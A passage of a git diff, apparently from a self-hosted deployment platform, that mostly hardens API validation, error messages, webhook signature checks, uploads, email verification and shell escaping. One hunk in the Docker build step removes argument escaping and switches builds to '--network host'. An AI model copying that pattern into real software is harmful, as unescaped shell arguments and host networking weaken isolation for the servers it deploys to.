ValidationPatterns::databaseIdentifierRules(required: false), ]); $extraFields = array_diff(array_keys($request->all()), $allowedFields); if ($validator->fails() || ! empty($extraFields)) { @@ -1821,7 +1824,7 @@ public function create_database(Request $request, NewDatabaseTypes $type) } $request->offsetSet('mariadb_conf', $mariadbConf); } - $database = create_standalone_mariadb($environment->id, $destination->uuid, $request->only($allowedFields)); + $database = create_standalone_mariadb($environment->id, $destination, $request->only($allowedFields)); if ($instantDeploy) { StartDatabase::dispatch($database); } @@ -1839,10 +1842,10 @@ public function create_database(Request $request, NewDatabaseTypes $type) } elseif ($type === NewDatabaseTypes::MYSQL) { $allowedFields = ['name', 'description', 'image', 'public_port', 'public_port_timeout', 'is_public', 'project_uuid', 'environment_name', 'environment_uuid', 'server_uuid', 'destination_uuid', 'instant_deploy', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'mysql_root_password', 'mysql_password', 'mysql_user', 'mysql_database', 'mysql_conf']; $validator = customApiValidator($request->all(), [ - 'mysql_root_password' => 'string', - 'mysql_password' => 'string', - 'mysql_user' => 'string', - 'mysql_database' => 'string', + 'mysql_root_password' => ValidationPatterns::databasePasswordRules(required: false), + 'mysql_password' => ValidationPatterns::databasePasswordRules(required: false), + 'mysql_user' => ValidationPatterns::databaseIdentifierRules(required: false), + 'mysql_database' => ValidationPatterns::databaseIdentifierRules(required: false), 'mysql_conf' => 'string', ]); $extraFields = array_diff(array_keys($request->all()), $allowedFields); @@ -1880,7 +1883,7 @@ public function create_database(Request $request, NewDatabaseTypes $type) } $request->offsetSet('mysql_conf', $mysqlConf); } - $database = create_standalone_mysql($environment->id, $destination->uuid, $request->only($allowedFields)); + $database = create_standalone_mysql($environment->id, $destination, $request->only($allowedFields)); if ($instantDeploy) { StartDatabase::dispatch($database); } @@ -1898,7 +1901,7 @@ public function create_database(Request $request, NewDatabaseTypes $type) } elseif ($type === NewDatabaseTypes::REDIS) { $allowedFields = ['name', 'description', 'image', 'public_port', 'public_port_timeout', 'is_public', 'project_uuid', 'environment_name', 'environment_uuid', 'server_uuid', 'destination_uuid', 'instant_deploy', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'redis_password', 'redis_conf']; $validator = customApiValidator($request->all(), [ - 'redis_password' => 'string', + 'redis_password' => ValidationPatterns::databasePasswordRules(required: false), 'redis_conf' => 'string', ]); $extraFields = array_diff(array_keys($request->all()), $allowedFields); @@ -1936,7 +1939,7 @@ public function create_database(Request $request, NewDatabaseTypes $type) } $request->offsetSet('redis_conf', $redisConf); } - $database = create_standalone_redis($environment->id, $destination->uuid, $request->only($allowedFields)); + $database = create_standalone_redis($environment->id, $destination, $request->only($allowedFields)); if ($instantDeploy) { StartDatabase::dispatch($database); } @@ -1954,7 +1957,7 @@ public function create_database(Request $request, NewDatabaseTypes $type) } elseif ($type === NewDatabaseTypes::DRAGONFLY) { $allowedFields = ['name', 'description', 'image', 'public_port', 'public_port_timeout', 'is_public', 'project_uuid', 'environment_name', 'environment_uuid', 'server_uuid', 'destination_uuid', 'instant_deploy', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'dragonfly_password']; $validator = customApiValidator($request->all(), [ - 'dragonfly_password' => 'string', + 'dragonfly_password' => ValidationPatterns::databasePasswordRules(required: false), ]); $extraFields = array_diff(array_keys($request->all()), $allowedFields); @@ -1973,7 +1976,7 @@ public function create_database(Request $request, NewDatabaseTypes $type) } removeUnnecessaryFieldsFromRequest($request); - $database = create_standalone_dragonfly($environment->id, $destination->uuid, $request->only($allowedFields)); + $database = create_standalone_dragonfly($environment->id, $destination, $request->only($allowedFields)); if ($instantDeploy) { StartDatabase::dispatch($database); } @@ -1984,7 +1987,7 @@ public function create_database(Request $request, NewDatabaseTypes $type) } elseif ($type === NewDatabaseTypes::KEYDB) { $allowedFields = ['name', 'description', 'image', 'public_port', 'public_port_timeout', 'is_public', 'project_uuid', 'environment_name', 'environment_uuid', 'server_uuid', 'destination_uuid', 'instant_deploy', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'keydb_password', 'keydb_conf']; $validator = customApiValidator($request->all(), [ - 'keydb_password' => 'string', + 'keydb_password' => ValidationPatterns::databasePasswordRules(required: false), 'keydb_conf' => 'string', ]); $extraFields = array_diff(array_keys($request->all()), $allowedFields); @@ -2022,7 +2025,7 @@ public function create_database(Request $request, NewDatabaseTypes $type) } $request->offsetSet('keydb_conf', $keydbConf); } - $database = create_standalone_keydb($environment->id, $destination->uuid, $request->only($allowedFields)); + $database = create_standalone_keydb($environment->id, $destination, $request->only($allowedFields)); if ($instantDeploy) { StartDatabase::dispatch($database); } @@ -2040,8 +2043,8 @@ public function create_database(Request $request, NewDatabaseTypes $type) } elseif ($type === NewDatabaseTypes::CLICKHOUSE) { $allowedFields = ['name', 'description', 'image', 'public_port', 'public_port_timeout', 'is_public', 'project_uuid', 'environment_name', 'environment_uuid', 'server_uuid', 'destination_uuid', 'instant_deploy', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'clickhouse_admin_user', 'clickhouse_admin_password']; $validator = customApiValidator($request->all(), [ - 'clickhouse_admin_user' => 'string', - 'clickhouse_admin_password' => 'string', + 'clickhouse_admin_user' => ValidationPatterns::databaseIdentifierRules(required: false), + 'clickhouse_admin_password' => ValidationPatterns::databasePasswordRules(required: false), ]); $extraFields = array_diff(array_keys($request->all()), $allowedFields); if ($validator->fails() || ! empty($extraFields)) { @@ -2058,7 +2061,7 @@ public function create_database(Request $request, NewDatabaseTypes $type) ], 422); } removeUnnecessaryFieldsFromRequest($request); - $database = create_standalone_clickhouse($environment->id, $destination->uuid, $request->only($allowedFields)); + $database = create_standalone_clickhouse($environment->id, $destination, $request->only($allowedFields)); if ($instantDeploy) { StartDatabase::dispatch($database); } @@ -2077,9 +2080,9 @@ public function create_database(Request $request, NewDatabaseTypes $type) $allowedFields = ['name', 'description', 'image', 'public_port', 'public_port_timeout', 'is_public', 'project_uuid', 'environment_name', 'environment_uuid', 'server_uuid', 'destination_uuid', 'instant_deploy', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'mongo_conf', 'mongo_initdb_root_username', 'mongo_initdb_root_password', 'mongo_initdb_database']; $validator = customApiValidator($request->all(), [ 'mongo_conf' => 'string', - 'mongo_initdb_root_username' => 'string', - 'mongo_initdb_root_password' => 'string', - 'mongo_initdb_database' => 'string', + 'mongo_initdb_root_username' => ValidationPatterns::databaseIdentifierRules(required: false), + 'mongo_initdb_root_password' => ValidationPatterns::databasePasswordRules(required: false), + 'mongo_initdb_database' => ValidationPatterns::databaseIdentifierRules(required: false), ]); $extraFields = array_diff(array_keys($request->all()), $allowedFields); if ($validator->fails() || ! empty($extraFields)) { @@ -2116,7 +2119,7 @@ public function create_database(Request $request, NewDatabaseTypes $type) } $request->offsetSet('mongo_conf', $mongoConf); } - $database = create_standalone_mongodb($environment->id, $destination->uuid, $request->only($allowedFields)); + $database = create_standalone_mongodb($environment->id, $destination, $request->only($allowedFields)); if ($instantDeploy) { StartDatabase::dispatch($database); } @@ -2332,7 +2335,7 @@ public function delete_backup_by_uuid(Request $request) } catch (\Exception $e) { DB::rollBack(); - return response()->json(['message' => 'Failed to delete backup: '.$e->getMessage()], 500); + return response()->json(['message' => 'Failed to delete backup.'], 500); } } @@ -2452,7 +2455,7 @@ public function delete_execution_by_uuid(Request $request) 'message' => 'Backup execution deleted.', ]); } catch (\Exception $e) { - return response()->json(['message' => 'Failed to delete backup execution: '.$e->getMessage()], 500); + return response()->json(['message' => 'Failed to delete backup execution.'], 500); } } @@ -3496,7 +3499,7 @@ public function create_storage(Request $request): JsonResponse 'type' => 'required|string|in:persistent,file', 'name' => ['string', 'regex:'.ValidationPatterns::VOLUME_NAME_PATTERN], 'mount_path' => 'required|string', - 'host_path' => 'string|nullable', + 'host_path' => ['string', 'nullable', 'regex:'.ValidationPatterns::DIRECTORY_PATH_PATTERN], 'content' => 'string|nullable', 'is_directory' => 'boolean', 'fs_path' => 'string', @@ -3694,7 +3697,7 @@ public function update_storage(Request $request): JsonResponse 'is_preview_suffix_enabled' => 'boolean', 'name' => ['string', 'regex:'.ValidationPatterns::VOLUME_NAME_PATTERN], 'mount_path' => 'string', - 'host_path' => 'string|nullable', + 'host_path' => ['string', 'nullable', 'regex:'.ValidationPatterns::DIRECTORY_PATH_PATTERN], 'content' => 'string|nullable', ]); diff --git a/app/Http/Controllers/Api/HetznerController.php b/app/Http/Controllers/Api/HetznerController.php index ed91b4475..092c48594 100644 --- a/app/Http/Controllers/Api/HetznerController.php +++ b/app/Http/Controllers/Api/HetznerController.php @@ -121,7 +121,7 @@ public function locations(Request $request) return response()->json($locations); } catch (\Throwable $e) { - return response()->json(['message' => 'Failed to fetch locations: '.$e->getMessage()], 500); + return response()->json(['message' => 'Failed to fetch Hetzner locations.'], 500); } } @@ -242,7 +242,7 @@ public function serverTypes(Request $request) return response()->json($serverTypes); } catch (\Throwable $e) { - return response()->json(['message' => 'Failed to fetch server types: '.$e->getMessage()], 500); + return response()->json(['message' => 'Failed to fetch Hetzner server types.'], 500); } } @@ -354,7 +354,7 @@ public function images(Request $request) return response()->json(array_values($filtered)); } catch (\Throwable $e) { - return response()->json(['message' => 'Failed to fetch images: '.$e->getMessage()], 500); + return response()->json(['message' => 'Failed to fetch Hetzner images.'], 500); } } @@ -450,7 +450,7 @@ public function sshKeys(Request $request) return response()->json($sshKeys); } catch (\Throwable $e) { - return response()->json(['message' => 'Failed to fetch SSH keys: '.$e->getMessage()], 500); + return response()->json(['message' => 'Failed to fetch Hetzner SSH keys.'], 500); } } @@ -733,7 +733,7 @@ public function createServer(Request $request) return $response; } catch (\Throwable $e) { - return response()->json(['message' => 'Failed to create server: '.$e->getMessage()], 500); + return response()->json(['message' => 'Failed to create Hetzner server.'], 500); } } } diff --git a/app/Http/Controllers/Api/OtherController.php b/app/Http/Controllers/Api/OtherController.php index 8f2ba25c8..49468b597 100644 --- a/app/Http/Controllers/Api/OtherController.php +++ b/app/Http/Controllers/Api/OtherController.php @@ -147,11 +147,15 @@ public function disable_api(Request $request) public function feedback(Request $request) { - $content = $request->input('content'); + $data = $request->validate([ + 'content' => ['required', 'string', 'min:10', 'max:2000'], + ]); + $webhook_url = config('constants.webhooks.feedback_discord_webhook'); if ($webhook_url) { - Http::post($webhook_url, [ - 'content' => $content, + Http::timeout(5)->post($webhook_url, [ + 'content' => $data['content'], + 'allowed_mentions' => ['parse' => []], ]); } diff --git a/app/Http/Controllers/Api/ServicesController.php b/app/Http/Controllers/Api/ServicesController.php index 23ba30998..20560635e 100644 --- a/app/Http/Controllers/Api/ServicesController.php +++ b/app/Http/Controllers/Api/ServicesController.php @@ -2018,7 +2018,7 @@ public function create_storage(Request $request): JsonResponse 'resource_uuid' => 'required|string', 'name' => ['string', 'regex:'.ValidationPatterns::VOLUME_NAME_PATTERN], 'mount_path' => 'required|string', - 'host_path' => 'string|nullable', + 'host_path' => ['string', 'nullable', 'regex:'.ValidationPatterns::DIRECTORY_PATH_PATTERN], 'content' => 'string|nullable', 'is_directory' => 'boolean', 'fs_path' => 'string', @@ -2227,7 +2227,7 @@ public function update_storage(Request $request): JsonResponse 'is_preview_suffix_enabled' => 'boolean', 'name' => ['string', 'regex:'.ValidationPatterns::VOLUME_NAME_PATTERN], 'mount_path' => 'string', - 'host_path' => 'string|nullable', + 'host_path' => ['string', 'nullable', 'regex:'.ValidationPatterns::DIRECTORY_PATH_PATTERN], 'content' => 'string|nullable', ]); diff --git a/app/Http/Controllers/Controller.php b/app/Http/Controllers/Controller.php index 17d14296b..6ce6b6d57 100644 --- a/app/Http/Controllers/Controller.php +++ b/app/Http/Controllers/Controller.php @@ -6,8 +6,8 @@ use App\Models\TeamInvitation; use App\Models\User; use App\Providers\RouteServiceProvider; +use Illuminate\Auth\Events\Verified; use Illuminate\Foundation\Auth\Access\AuthorizesRequests; -use Illuminate\Foundation\Auth\EmailVerificationRequest; use Illuminate\Foundation\Validation\ValidatesRequests; use Illuminate\Http\Request; use Illuminate\Routing\Controller as BaseController; @@ -39,9 +39,29 @@ public function verify() return view('auth.verify-email'); } - public function email_verify(EmailVerificationRequest $request) + public function email_verify(Request $request) { - $request->fulfill(); + if (! $request->hasValidSignature()) { + abort(403); + } + + $user = auth()->user(); + if (! $user) { + abort(403); + } + + if (! hash_equals((string) $request->route('id'), (string) $user->getKey())) { + abort(403); + } + + if (! hash_equals((string) $request->route('hash'), hash('sha256', $user->getEmailForVerification()))) { + abort(403); + } + + if (! $user->hasVerifiedEmail()) { + $user->markEmailAsVerified(); + event(new Verified($user)); + } return redirect(RouteServiceProvider::HOME); } @@ -94,10 +114,6 @@ public function link() } else { $team = $user->teams()->first(); } - if (is_null(data_get($user, 'email_verified_at'))) { - $user->email_verified_at = now(); - $user->save(); - } Auth::login($user); session(['currentTeam' => $team]); diff --git a/app/Http/Controllers/OauthController.php b/app/Http/Controllers/OauthController.php index 3a3f18c9c..4038fe63e 100644 --- a/app/Http/Controllers/OauthController.php +++ b/app/Http/Controllers/OauthController.php @@ -19,7 +19,12 @@ public function callback(string $provider) { try { $oauthUser = get_socialite_provider($provider)->user(); - $user = User::whereEmail($oauthUser->email)->first(); + $email = trim((string) $oauthUser->email); + if ($email === '') { + abort(403, 'OAuth provider did not return an email address'); + } + $email = strtolower($email); + $user = User::whereEmail($email)->first(); if (! $user) { $settings = instanceSettings(); if (! $settings->is_registration_enabled) { @@ -28,7 +33,7 @@ public function callback(string $provider) $user = User::create([ 'name' => $oauthUser->name, - 'email' => $oauthUser->email, + 'email' => $email, ]); } Auth::login($user); diff --git a/app/Http/Controllers/UploadController.php b/app/Http/Controllers/UploadController.php index 93847589a..96fbd7193 100644 --- a/app/Http/Controllers/UploadController.php +++ b/app/Http/Controllers/UploadController.php @@ -11,6 +11,26 @@ class UploadController extends BaseController { + private const MAX_BYTES = 10 * 1024 * 1024 * 1024; // 10 GiB + + private const ALLOWED_EXTENSIONS = [ + 'sql', + 'sql.gz', + 'gz', + 'zip', + 'tar', + 'tar.gz', + 'tgz', + 'dump', + 'bak', + 'bson', + 'bson.gz', + 'archive', + 'archive.gz', + 'bz2', + 'xz', + ]; + public function upload(Request $request) { $databaseIdentifier = request()->route('databaseUuid'); @@ -18,6 +38,22 @@ public function upload(Request $request) if (is_null($resource)) { return response()->json(['error' => 'You do not have permission for this database'], 500); } + + $chunk = $request->file('file'); + $originalName = $chunk instanceof UploadedFile ? $chunk->getClientOriginalName() : null; + if (blank($originalName) || ! self::hasAllowedExtension($originalName)) { + return response()->json([ + 'error' => 'Unsupported file type. Allowed extensions: '.implode(', ', self::ALLOWED_EXTENSIONS), + ], 422); + } + + $declaredTotalSize = (int) $request->input('dzTotalFilesize', 0); + if ($declaredTotalSize > self::MAX_BYTES) { + return response()->json([ + 'error' => 'File exceeds maximum allowed size of '.self::formatMaxSize().'.', + ], 422); + } + $receiver = new FileReceiver('file', $request, HandlerFactory::classFromRequest($request)); if ($receiver->isUploaded() === false) { @@ -40,29 +76,20 @@ public function upload(Request $request) 'status' => true, ]); } - // protected function saveFileToS3($file) - // { - // $fileName = $this->createFilename($file); - // $disk = Storage::disk('s3'); - // // It's better to use streaming Streaming (laravel 5.4+) - // $disk->putFileAs('photos', $file, $fileName); - - // // for older laravel - // // $disk->put($fileName, file_get_contents($file), 'public'); - // $mime = str_replace('/', '-', $file->getMimeType()); - - // // We need to delete the file when uploaded to s3 - // unlink($file->getPathname()); - - // return response()->json([ - // 'path' => $disk->url($fileName), - // 'name' => $fileName, - // 'mime_type' => $mime - // ]); - // } protected function saveFile(UploadedFile $file, string $resourceIdentifier) { + $originalName = $file->getClientOriginalName(); + $size = $file->getSize(); + + if (! self::hasAllowedExtension($originalName) || $size === false || $size > self::MAX_BYTES) { + @unlink($file->getPathname()); + + return response()->json([ + 'error' => 'Uploaded file failed validation.', + ], 422); + } + $mime = str_replace('/', '-', $file->getMimeType()); $filePath = "upload/{$resourceIdentifier}"; $finalPath = storage_path('app/'.$filePath); @@ -73,13 +100,30 @@ protected function saveFile(UploadedFile $file, string $resourceIdentifier) ]); } - protected function createFilename(UploadedFile $file) + private static function hasAllowedExtension(string $name): bool { - $extension = $file->getClientOriginalExtension(); - $filename = str_replace('.'.$extension, '', $file->getClientOriginalName()); // Filename without extension + $lower = strtolower($name); + $suffixes = array_map(fn ($ext) => '.'.$ext, self::ALLOWED_EXTENSIONS); + usort($suffixes, fn ($a, $b) => strlen($b) <=> strlen($a)); - $filename .= '_'.md5(time()).'.'.$extension; + foreach ($suffixes as $suffix) { + if (! str_ends_with($lower, $suffix)) { + continue; + } - return $filename; + $stem = substr($lower, 0, -strlen($suffix)); + if ($stem !== '' && ! str_ends_with($stem, '.')) { + return true; + } + + return false; + } + + return false; + } + + private static function formatMaxSize(): string + { + return (self::MAX_BYTES / (1024 * 1024 * 1024)).' GiB'; } } diff --git a/app/Http/Controllers/Webhook/Bitbucket.php b/app/Http/Controllers/Webhook/Bitbucket.php index 183186711..ffa71b55a 100644 --- a/app/Http/Controllers/Webhook/Bitbucket.php +++ b/app/Http/Controllers/Webhook/Bitbucket.php @@ -57,10 +57,29 @@ public function manual(Request $request) } foreach ($applications as $application) { $webhook_secret = data_get($application, 'manual_webhook_secret_bitbucket'); + if (empty($webhook_secret)) { + $return_payloads->push([ + 'application' => $application->name, + 'status' => 'failed', + 'message' => 'Webhook secret not configured.', + ]); + + continue; + } $payload = $request->getContent(); - [$algo, $hash] = explode('=', $x_bitbucket_token, 2); - $payloadHash = hash_hmac($algo, $payload, $webhook_secret); + $parts = explode('=', $x_bitbucket_token, 2); + if (count($parts) !== 2 || $parts[0] !== 'sha256') { + $return_payloads->push([ + 'application' => $application->name, + 'status' => 'failed', + 'message' => 'Invalid signature.', + ]); + + continue; + } + $hash = $parts[1]; + $payloadHash = hash_hmac('sha256', $payload, $webhook_secret); if (! hash_equals($hash, $payloadHash) && ! isDev()) { $return_payloads->push([ 'application' => $application->name, diff --git a/app/Http/Controllers/Webhook/Gitea.php b/app/Http/Controllers/Webhook/Gitea.php index a9d65eae6..62adf5410 100644 --- a/app/Http/Controllers/Webhook/Gitea.php +++ b/app/Http/Controllers/Webhook/Gitea.php @@ -67,6 +67,15 @@ public function manual(Request $request) } foreach ($applications as $application) { $webhook_secret = data_get($application, 'manual_webhook_secret_gitea'); + if (empty($webhook_secret)) { + $return_payloads->push([ + 'application' => $application->name, + 'status' => 'failed', + 'message' => 'Webhook secret not configured.', + ]); + + continue; + } $hmac = hash_hmac('sha256', $request->getContent(), $webhook_secret); if (! hash_equals($x_hub_signature_256, $hmac) && ! isDev()) { $return_payloads->push([ diff --git a/app/Http/Controllers/Webhook/Github.php b/app/Http/Controllers/Webhook/Github.php index fe49369ea..4158016d0 100644 --- a/app/Http/Controllers/Webhook/Github.php +++ b/app/Http/Controllers/Webhook/Github.php @@ -81,6 +81,15 @@ public function manual(Request $request) foreach ($applicationsByServer as $serverId => $serverApplications) { foreach ($serverApplications as $application) { $webhook_secret = data_get($application, 'manual_webhook_secret_github'); + if (empty($webhook_secret)) { + $return_payloads->push([ + 'application' => $application->name, + 'status' => 'failed', + 'message' => 'Webhook secret not configured.', + ]); + + continue; + } $hmac = hash_hmac('sha256', $request->getContent(), $webhook_secret); if (! hash_equals($x_hub_signature_256, $hmac) && ! isDev()) { $return_payloads->push([ diff --git a/app/Http/Controllers/Webhook/Gitlab.php b/app/Http/Controllers/Webhook/Gitlab.php index 08e5d7162..4453a0e7a 100644 --- a/app/Http/Controllers/Webhook/Gitlab.php +++ b/app/Http/Controllers/Webhook/Gitlab.php @@ -100,7 +100,16 @@ public function manual(Request $request) } foreach ($applications as $application) { $webhook_secret = data_get($application, 'manual_webhook_secret_gitlab'); - if (! hash_equals($webhook_secret ?? '', $x_gitlab_token ?? '')) { + if (empty($webhook_secret)) { + $return_payloads->push([ + 'application' => $application->name, + 'status' => 'failed', + 'message' => 'Webhook secret not configured.', + ]); + + continue; + } + if (! hash_equals($webhook_secret, $x_gitlab_token ?? '')) { $return_payloads->push([ 'application' => $application->name, 'status' => 'failed', diff --git a/app/Jobs/ApiTokenExpirationWarningJob.php b/app/Jobs/ApiTokenExpirationWarningJob.php new file mode 100644 index 000000000..a8f388c85 --- /dev/null +++ b/app/Jobs/ApiTokenExpirationWarningJob.php @@ -0,0 +1,49 @@ +whereNotNull('expires_at') + ->where('expires_at', '>', now()) + ->where('expires_at', '<=', now()->addDay()) + ->where('tokenable_type', User::class) + ->chunkById(100, function ($tokens) { + foreach ($tokens as $token) { + if (! $token->team_id) { + continue; + } + RateLimiter::attempt( + 'api-token-expiring:'.$token->id, + $maxAttempts = 0, + function () use ($token) { + Team::find($token->team_id)?->notify(new ApiTokenExpiringNotification($token)); + }, + $decaySeconds = 7 * 24 * 3600, + ); + } + }); + } +} diff --git a/app/Jobs/ApplicationDeploymentJob.php b/app/Jobs/ApplicationDeploymentJob.php index f328274ac..e12c8eabf 100644 --- a/app/Jobs/ApplicationDeploymentJob.php +++ b/app/Jobs/ApplicationDeploymentJob.php @@ -3396,29 +3396,28 @@ private function build_image() $this->execute_remote_command([executeInDocker($this->deployment_uuid, 'rm '.self::NIXPACKS_PLAN_PATH), 'hidden' => true]); } else { // Dockerfile buildpack - $safeNetwork = escapeshellarg($this->destination->network); if ($this->dockerSecretsSupported) { // Modify the Dockerfile to use build secrets $this->modify_dockerfile_for_secrets("{$this->workdir}{$this->dockerfile_location}"); $secrets_flags = $this->build_secrets ? " {$this->build_secrets}" : ''; if ($this->force_rebuild) { - $build_command = $this->wrap_build_command_with_env_export("DOCKER_BUILDKIT=1 docker build --no-cache {$this->buildTarget} --network {$safeNetwork} -f {$this->workdir}{$this->dockerfile_location}{$secrets_flags} --progress plain -t $this->build_image_name {$this->workdir}"); + $build_command = $this->wrap_build_command_with_env_export("DOCKER_BUILDKIT=1 docker build --no-cache {$this->buildTarget} {$this->addHosts} --network host -f {$this->workdir}{$this->dockerfile_location}{$secrets_flags} --progress plain -t $this->build_image_name {$this->workdir}"); } else { - $build_command = $this->wrap_build_command_with_env_export("DOCKER_BUILDKIT=1 docker build {$this->buildTarget} --network {$safeNetwork} -f {$this->workdir}{$this->dockerfile_location}{$secrets_flags} --progress plain -t $this->build_image_name {$this->workdir}"); + $build_command = $this->wrap_build_command_with_env_export("DOCKER_BUILDKIT=1 docker build {$this->buildTarget} {$this->addHosts} --network host -f {$this->workdir}{$this->dockerfile_location}{$secrets_flags} --progress plain -t $this->build_image_name {$this->workdir}"); } } elseif ($this->dockerBuildkitSupported) { // BuildKit without secrets if ($this->force_rebuild) { - $build_command = $this->wrap_build_command_with_env_export("DOCKER_BUILDKIT=1 docker build --no-cache {$this->buildTarget} --network {$safeNetwork} -f {$this->workdir}{$this->dockerfile_location} --progress plain -t $this->build_image_name {$this->build_args} {$this->workdir}"); + $build_command = $this->wrap_build_command_with_env_export("DOCKER_BUILDKIT=1 docker build --no-cache {$this->buildTarget} {$this->addHosts} --network host -f {$this->workdir}{$this->dockerfile_location} --progress plain -t $this->build_image_name {$this->build_args} {$this->workdir}"); } else { - $build_command = $this->wrap_build_command_with_env_export("DOCKER_BUILDKIT=1 docker build {$this->buildTarget} --network {$safeNetwork} -f {$this->workdir}{$this->dockerfile_location} --progress plain -t $this->build_image_name {$this->build_args} {$this->workdir}"); + $build_command = $this->wrap_build_command_with_env_export("DOCKER_BUILDKIT=1 docker build {$this->buildTarget} {$this->addHosts} --network host -f {$this->workdir}{$this->dockerfile_location} --progress plain -t $this->build_image_name {$this->build_args} {$this->workdir}"); } } else { // Traditional build with args if ($this->force_rebuild) { - $build_command = $this->wrap_build_command_with_env_export("docker build --no-cache {$this->buildTarget} --network {$safeNetwork} -f {$this->workdir}{$this->dockerfile_location} {$this->build_args} -t $this->build_image_name {$this->workdir}"); + $build_command = $this->wrap_build_command_with_env_export("docker build --no-cache {$this->buildTarget} {$this->addHosts} --network host -f {$this->workdir}{$this->dockerfile_location} {$this->build_args} -t $this->build_image_name {$this->workdir}"); } else { - $build_command = $this->wrap_build_command_with_env_export("docker build {$this->buildTarget} --network {$safeNetwork} -f {$this->workdir}{$this->dockerfile_location} {$this->build_args} -t $this->build_image_name {$this->workdir}"); + $build_command = $this->wrap_build_command_with_env_export("docker build {$this->buildTarget} {$this->addHosts} --network host -f {$this->workdir}{$this->dockerfile_location} {$this->build_args} -t $this->build_image_name {$this->workdir}"); } } $base64_build_command = base64_encode($build_command); diff --git a/app/Jobs/VolumeCloneJob.php b/app/Jobs/VolumeCloneJob.php index f37a9704e..060ec3ac6 100644 --- a/app/Jobs/VolumeCloneJob.php +++ b/app/Jobs/VolumeCloneJob.php @@ -43,27 +43,34 @@ public function handle() protected function cloneLocalVolume() { + $srcVol = escapeshellarg($this->sourceVolume); + $tgtVol = escapeshellarg($this->targetVolume); + instant_remote_process([ - "docker volume create $this->targetVolume", - "docker run --rm -v $this->sourceVolume:/source -v $this->targetVolume:/target alpine sh -c 'cp -a /source/. /target/ && chown -R 1000:1000 /target'", + "docker volume create {$tgtVol}", + "docker run --rm -v {$srcVol}:/source -v {$tgtVol}:/target alpine sh -c 'cp -a /source/. /target/ && chown -R 1000:1000 /target'", ], $this->sourceServer); } protected function cloneRemoteVolume() { + $srcVol = escapeshellarg($this->sourceVolume); + $tgtVol = escapeshellarg($this->targetVolume); $sourceCloneDir = "{$this->cloneDir}/{$this->sourceVolume}"; $targetCloneDir = "{$this->cloneDir}/{$this->targetVolume}"; + $srcDir = escapeshellarg($sourceCloneDir); + $tgtDir = escapeshellarg($targetCloneDir); try { instant_remote_process([ - "mkdir -p $sourceCloneDir", - "chmod 777 $sourceCloneDir", - "docker run --rm -v $this->sourceVolume:/source -v $sourceCloneDir:/clone alpine sh -c 'cd /source && tar czf /clone/volume-data.tar.gz .'", + "mkdir -p {$srcDir}", + "chmod 777 {$srcDir}", + "docker run --rm -v {$srcVol}:/source -v {$srcDir}:/clone alpine sh -c 'cd /source && tar czf /clone/volume-data.tar.gz .'", ], $this->sourceServer); instant_remote_process([ - "mkdir -p $targetCloneDir", - "chmod 777 $targetCloneDir", + "mkdir -p {$tgtDir}", + "chmod 777 {$tgtDir}", ], $this->targetServer); instant_scp( @@ -74,8 +81,8 @@ protected function cloneRemoteVolume() ); instant_remote_process([ - "docker volume create $this->targetVolume", - "docker run --rm -v $this->targetVolume:/target -v $targetCloneDir:/clone alpine sh -c 'cd /target && tar xzf /clone/volume-data.tar.gz && chown -R 1000:1000 /target'", + "docker volume create {$tgtVol}", + "docker run --rm -v {$tgtVol}:/target -v {$tgtDir}:/clone alpine sh -c 'cd /target && tar xzf /clone/volume-data.tar.gz && chown -R 1000:1000 /target'", ], $this->targetServer); } catch (\Exception $e) { @@ -84,7 +91,7 @@ protected function cloneRemoteVolume() } finally { try { instant_remote_process([ - "rm -rf $sourceCloneDir", + "rm -rf {$srcDir}", ], $this->sourceServer, false); } catch (\Exception $e) { \Log::warning('Failed to clean up source server clone directory: '.$e->getMessage()); @@ -93,7 +100,7 @@ protected function cloneRemoteVolume() try { if ($this->targetServer) { instant_remote_process([ - "rm -rf $targetCloneDir", + "rm -rf {$tgtDir}", ], $this->targetServer, false); } } catch (\Exception $e) { diff --git a/app/Livewire/Admin/Index.php b/app/Livewire/Admin/Index.php index d1345e7bf..4d22047cc 100644 --- a/app/Livewire/Admin/Index.php +++ b/app/Livewire/Admin/Index.php @@ -37,7 +37,7 @@ public function back() Auth::login($user); refreshSession($team_to_switch_to); - return redirect(request()->header('Referer')); + return redirect()->route('admin.index'); } } @@ -70,7 +70,7 @@ public function switchUser(int $user_id) Auth::login($user); refreshSession($team_to_switch_to); - return redirect(request()->header('Referer')); + return redirect()->route('dashboard'); } private function authorizeAdminAccess(): void diff --git a/app/Livewire/Destination/Show.php b/app/Livewire/Destination/Show.php index f2cdad074..9d55d7462 100644 --- a/app/Livewire/Destination/Show.php +++ b/app/Livewire/Destination/Show.php @@ -2,9 +2,7 @@ namespace App\Livewire\Destination; -use App\Models\Server; use App\Models\StandaloneDocker; -use App\Models\SwarmDocker; use Illuminate\Foundation\Auth\Access\AuthorizesRequests; use Livewire\Attributes\Locked; use Livewire\Attributes\Validate; @@ -29,16 +27,8 @@ class Show extends Component public function mount(string $destination_uuid) { try { - $destination = StandaloneDocker::whereUuid($destination_uuid)->first() ?? - SwarmDocker::whereUuid($destination_uuid)->firstOrFail(); - - $ownedByTeam = Server::ownedByCurrentTeam()->each(function ($server) use ($destination) { - if ($server->standaloneDockers->contains($destination) || $server->swarmDockers->contains($destination)) { - $this->destination = $destination; - $this->syncData(); - } - }); - if ($ownedByTeam === false) { + $destination = find_destination_for_current_team($destination_uuid); + if (! $destination) { return redirect()->route('destination.index'); } $this->destination = $destination; @@ -80,7 +70,7 @@ public function delete() try { $this->authorize('delete', $this->destination); - if ($this->destination->getMorphClass() === \App\Models\StandaloneDocker::class) { + if ($this->destination->getMorphClass() === StandaloneDocker::class) { if ($this->destination->attachedTo()) { return $this->dispatch('error', 'You must delete all resources before deleting this destination.'); } diff --git a/app/Livewire/Help.php b/app/Livewire/Help.php index 490515875..421e50bcc 100644 --- 